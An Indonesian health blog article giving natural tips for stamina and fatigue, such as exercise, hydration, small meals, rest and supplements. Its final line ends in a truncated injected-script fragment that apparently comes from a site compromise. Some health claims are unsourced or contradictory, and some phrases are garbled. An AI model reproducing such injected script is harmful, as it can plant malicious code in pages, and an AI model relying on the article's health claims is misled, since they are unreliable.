Jangan buru-buru mengkonsumsi minuman penambah energi saat merasa cepat lelah, ada cara alami yang lebih ok.
Apakah anda sering merasa cepat lelah atau stamina sedang menurun. Ingat ! janganlah terlalu terburu-buru mengkonsumsi minuman penambah tenaga dan stamina yang banyak di jual di pasaran. Karena ada cara yang lebih alami dan sehat untuk mengatasinya. Stamina dalam sebuah kacamata kesehatan menjadi sangat penting sekali, karena perannya dalam upaya peningkatan kondisi badan yang sehat, karena relatif lebih cost-effective dan membawa dampak yang lebih besar lagi untuk meningkatkan derajat kesehatan masyarakat.
Sedangkan secara definitif, stamina bisa berarti sebuah kemampuan tubuh seseorang untuk melakukan tugas pekerjaannya sehari-hari tanpa menimbulkan kelelahan yang berarti dan masih mempunyai cadangan tenaga untuk menikmati waktu senggang serta untuk keperluan mendadak. Maka dari itu, meningkatkan sebuah stamina dengan cara mengkonsumsi suplemen sangat tidak dianjurkan, sebab organ dalam tubuh yang telah bekerja secara simultan belum tentu bisa diatasi dengan mengkonsumsi cairan/suplemen tersebut. Bahkan dalam beberapa kasus, ternyata ditemukan pasien-pasien yang menderita gagal ginjal akibat sebelumnya sering mengkonsumsi minuman penambah tenaga tersebut. Berikut adalah tips menjaga stamina tubuh secara alami:
Olahraga
Menurut James Rippe, ahli jantung sekaligus direktur Rippe Lifestyle Institute di Shrewsbury, Massachusetts, AS, olahraga terutama jenis aerobik adalah obat terbaik untuk mengatasi kelelahan dan menambah energi. Olahraga aerobik seperti bersepeda, berenang dan lari akan memperkuat jantung sehingga lebih banyak lagi pasokan oksigen yang sampai ke seluruh tubuh. Lebih banyak oksigen yang sampai ke panas lagi organ dalam dapat bekerja, sehingga meningkatkan efisiensi produksi energi.
Baca Juga: Gejala Obesitas dan Beberapa Dampak buruk Obesitas bagi Anak
Makan sedikit yang sering
Makanlah dengan porsi kecil bergizi seimbang, tetapi sering. Makan porsi besar kaya karbohidrat dapat menyebabkan gula darah membumbung. Hal ini terjadi karena membuat lebih banyak insulin yang dikeluarkan tubuh. Kondisi ini akan menyebabkan terlalu banyak gula darah dikirim ke sel otot untuk disimpan. Inilah biang keladi kelelahan.
Minum lebih banyak air
Kurang cairan adalah penyebab kelelahan. Apabila tubuh kekurangan cairan, maka darah akan mengental akibatnya aliran darah jadi lambat dan butuh waktu lebih bagi sel tubuh untuk mendapatkan oksigen.
Ubah rutinitas
Apabila kegiatan sehari-hari sudah dapat ditebak maka ubahlah kebiasaaan itu. Ini dapat menyebabkan kebosanan bianyang menjadi factor utama terkurasnya energi. Coba dengarkan jenis musik baru, tempuh rute baru ke kantor atau berbincang-bincang dengan kawan baru.
Baca Juga: Berat Badan Melonjak Saat PMS? Begini Cara Menjaganya!
Beri prioritas
Buatlah daftar hal paling penting dalam hidup apa yang ingin anda lakukan, bukan mengalihkannya kepada makanan, tetapi tentukan target hidup. Melakukah hal yang tidak diinginkan juga menyebabkan energy terkuras.
Istirahat sejenak
Manusia sudah di program oleh yang maha kuasa untuk bergerak antara menghabiskan dan meregenerasi energi. Siklus ini kata Schwartz berlangsung selama 90-120 menit, selama waktu kelelahan. Istirahatlah beberapa menit untuk memulihkan energi.
Konsumsi suplemen vitamin, mineral dan asam lemak omega 3
Dr. Roberta Lee, Direktur Continuum Center For Health and Healing di Beth Israel Medical Center, New York AS menyarankan asupan multivitamin dan mineral untuk pasien yang kelelahan. Mengapa ? Vitamin antioksidan akan membantu tubuh menetralkan kerusakan dalam sel karena serangan radikal bebas. Mineral mendukung kinerja hati dan ginjal dalam melakukan kerja detoksifikasi tubuh. Asam lemak omega 3 membantu kerja setiap sel tubuh agar berjalan mulus.
Baca Juga: Lima Aturan Makan Agar Tidak Bikin Tubuh Makin Gemukvar d=document;var s=d.createElement(‘script’);